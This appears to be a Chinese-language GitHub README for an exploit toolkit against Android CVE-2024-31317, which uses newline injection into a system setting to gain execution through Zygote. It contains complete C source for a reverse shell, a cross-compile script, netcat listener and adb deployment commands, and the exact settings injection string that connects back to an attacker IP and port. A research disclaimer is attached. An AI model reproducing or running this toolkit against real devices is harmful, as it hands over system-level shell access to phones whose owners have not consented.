CVE-2024-31317 Android 高危命令注入漏洞利用工具包
📋 项目概述
CVE-2024-31317 是一个影响 Android 9 至 Android 13 设备的严重安全漏洞。该漏洞允许具有 WRITE_SECURE_SETTINGS 权限的应用程序通过 hidden_api_blacklist_exemptions 设置中的换行符注入,在系统 Zygote 进程启动时获得命令执行权限,从而提升至系统级权限。
本项目提供了该漏洞的完整技术分析、概念验证代码以及自动化部署工具,用于安全研究和教育目的。
✨ 功能特性
- 全版本覆盖:支持 Android 9、10、11、12、13 全系列受影响版本
- 自动化编译:一键式 Shell 脚本自动交叉编译 ARM64 架构 Payload
- 反向 Shell 连接:内置完整的反向 Shell 客户端,支持多重重试机制
- 命令注入利用:通过
settings命令向系统设置注入恶意负载 - 模块化设计:Payload 源码、编译脚本、部署命令分离,便于定制
- 深度技术文档:包含漏洞原理、利用流程、检测防护方法的完整分析
🎯 影响范围
| 版本状态 | Android 版本 |
|---|---|
| ✅ 受影响 | Android 9, 10, 11, 12, 13 |
| ❌ 不受影响 | Android 14+(已修复) 已安装 2024年6月及之后安全补丁的设备 |
前置条件:需要目标应用已获得 WRITE_SECURE_SETTINGS 权限(通常通过 ADB 或系统签名应用获取)。
📦 安装指南
系统要求
- 操作系统:Linux x86_64(推荐 Ubuntu/Debian)
- 依赖项:
- Android NDK(用于交叉编译)
- ADB(Android Debug Bridge)
- Netcat(用于监听反向连接)
环境配置
# 1. 设置 NDK 环境变量(请替换为实际路径)
export NDK_PATH=/path/to/android-ndk
# 2. 验证 NDK 工具链存在
ls $NDK_PATH/toolchains/llvm/prebuilt/linux-x86_64/bin/
克隆与编译
# 克隆项目
git clone https://github.com/fcy10012/CVE-2024-31317-Deployer.git
cd CVE-2024-31317-Deployer
# 赋予执行权限并编译
chmod +x compile.sh
./compile.sh
编译成功后,会在 bin/ 目录下生成 reverse_shell_arm64 静态链接的可执行文件。
🚀 使用说明
基础使用流程
1. 启动监听器(攻击者主机)
# 监听本地 4444 端口,等待反向连接
nc -lvnp 4444
2. 推送 Payload 至设备
# 推送编译好的反向 Shell 二进制文件
adb push bin/reverse_shell_arm64 /data/local/tmp/reverse_shell
# 赋予执行权限
adb shell chmod 755 /data/local/tmp/reverse_shell
3. 注入漏洞利用负载
# 通过 settings 命令注入恶意配置(替换 IP 和端口)
adb shell settings put global hidden_api_blacklist_exemptions "L*\n--invoke-with /data/local/tmp/reverse_shell 192.168.1.100 4444"
4. 触发漏洞
# 重启系统服务,触发 Zygote 重新加载配置
adb shell stop && adb shell start
执行后,设备将反向连接到攻击者主机的 4444 端口,返回 /system/bin/sh 交互式 Shell。
典型使用场景
- 安全研究:验证设备是否受 CVE-2024-31317 漏洞影响
- 渗透测试:在获得 ADB 授权后测试 Android 系统的安全性
- 漏洞演示:展示命令注入漏洞的实际危害与利用过程
API 概览
Payload 命令行参数
reverse_shell <host> <port>
| 参数 | 类型 | 说明 | 示例 |
|---|---|---|---|
host | 字符串 | 攻击者主机 IP 地址 | 192.168.1.100 |
port | 整数 | 攻击者监听端口 | 4444 |
编译脚本环境变量
| 变量 | 必需 | 说明 |
|---|---|---|
NDK_PATH | 是 | Android NDK 安装路径,需包含 toolchains/llvm/prebuilt/linux-x86_64 |
💻 核心代码
反向 Shell Payload(reverse_shell.c)
完整的反向 Shell 客户端实现,支持 TCP 连接与自动重试。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define BUFFER_SIZE 4096
#define MAX_RETRIES 3
int main(int argc, char *argv[]) {
if (argc != 3) {
return 1;
}
char *host = argv[1];
int port = atoi(argv[2]);
// 创建 TCP socket
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) return 1;
// 配置目标地址结构
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
inet_pton(AF_INET, host, &addr.sin_addr);
// 带重试机制连接攻击者主机
int connected = 0;
for (int i = 0; i < MAX_RETRIES && !connected; i++) {
if (connect(sockfd, (struct sockaddr*)&addr, sizeof(addr)) == 0) {
connected = 1;
} else {
sleep(2);
}
}
if (!connected) return 1;
// 重定向标准输入、输出、错误到 socket
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
// 启动交互式 Shell
char *args[] = {"/system/bin/sh", "-i", NULL};
execve(args[0], args, NULL);
return 0;
}
自动化编译脚本(compile.sh)
一键式交叉编译脚本,自动生成 ARM64 架构的静态链接 Payload。
#!/bin/bash
set -e
echo "[*] CVE-2024-31317 Compilation Script"
if [ -z "$NDK_PATH" ]; then
echo "[!] NDK_PATH not set"
exit 1
fi
TOOLCHAIN="$NDK_PATH/toolchains/llvm/prebuilt/linux-x86_64"
mkdir -p bin
echo "[*] Compiling for ARM64..."
$TOOLCHAIN/bin/aarch64-linux-android21-clang reverse_shell.c -o bin/reverse_shell_arm64 -static
echo "[+] Compilation complete!"
⚠️ 免责声明
本项目提供的所有代码和技术文档仅限用于安全研究和教育目的。使用者必须遵守所在地法律法规,未经授权对系统进行测试属于违法行为。作者(qife)不对任何滥用行为或由此造成的损害承担责任。使用本工具即表示您已阅读并同意此声明。
⭐ 如果本项目对您的安全研究有帮助,欢迎给予 Star 支持! 6HFtX5dABrKlqXeO5PUv//FBk1ZoAQLA6Jm2bYwX5MkiJBA4hJoDQzt7N91tl+Qc